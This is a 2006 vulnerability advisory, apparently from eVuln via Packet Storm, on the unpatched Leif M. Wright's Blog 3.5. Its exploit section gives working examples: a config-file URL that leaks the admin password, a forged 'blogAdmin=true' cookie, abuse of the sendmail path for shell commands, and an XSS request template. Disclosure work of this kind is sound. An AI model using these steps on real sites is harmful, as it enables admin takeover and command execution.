EV0082.txt

2006-03-03T00:00:00
ID PACKETSTORM:44315
Type packetstorm
Reporter Aliaksandr Hartsuyeu
Modified 2006-03-03T00:00:00

Description

                                        
                                            `New eVuln Advisory:  
Leif M. Wright's Blog Multiple Vulnerabilities  
http://evuln.com/vulns/82/summary.html  
  
--------------------Summary----------------  
eVuln ID: EV0082  
CVE: CVE-2006-0843 CVE-2006-0844 CVE-2006-0845 CVE-2006  
Software: Leif M. Wright's Blog  
Sowtware's Web Site: http://leifwright.com/scripts/  
Versions: 3.5  
Critical Level: Dangerous  
Type: Multiple Vulnerabilities  
Class: Remote  
Status: Unpatched. No reply from developer(s)  
Exploit: Available  
Solution: Not Available  
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)  
  
-----------------Description---------------  
1. Sensitive Information Disclosure and Authentication Bypass  
  
All "txt" files isn't protected by htaccess(or any other ways) in default installiation. This can be used to retrieve administrator's password from config file.  
  
  
2. Cookie Authentication Bypass  
  
"blog.cgi" script dont make password comparisson when identifying administrator by cookie.  
  
  
3. Shell Command Execution  
  
Administrator has an ability to edit blog configuration including full path to sendmail program. This can be used to execute arbitrary shell commands.  
  
System access is possible.  
  
  
4. 'Referer' and 'User-Agent' Cross-Site Scripting  
  
Environment variables HTTP_REFERER and HTTP_USER_AGENT are not properly sanitized. This can be used to post HTTP query with fake Referer or User-Agent values which may contain arbitrary html or script code. This code will be executed when administrator will open "Log" page.  
  
  
--------------Exploit----------------------  
Available at: http://evuln.com/vulns/82/exploit.html  
  
1. Sensitive Information Disclosure and Authentication Bypass  
  
Url example:  
http://[host]/cgi-bin/blog/blogconfig.txt  
  
  
2. Cookie Authentication Bypass  
  
Cookie: blogAdmin=true  
  
  
3. Shell Command Execution  
  
Sendmail: /bin/ls  
  
  
4. 'Referer' and 'User-Agent' Cross-Site Scripting  
  
  
GET /cgi-bin/blog/blog.cgi HTTP/1.0  
Host: [host]  
Referer: [XSS]  
User-Agent: [XSS]  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 93  
  
file=15-13.59.39.txt&year=2006&month=February&name=zz&comment=zzz&submit=Enter% 20my%20comment  
  
  
  
--------------Solution---------------------  
No Patch available.  
  
--------------Credit-----------------------  
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)  
  
  
Regards,  
Aliaksandr Hartsuyeu  
http://evuln.com - Penetration Testing Services  
.  
`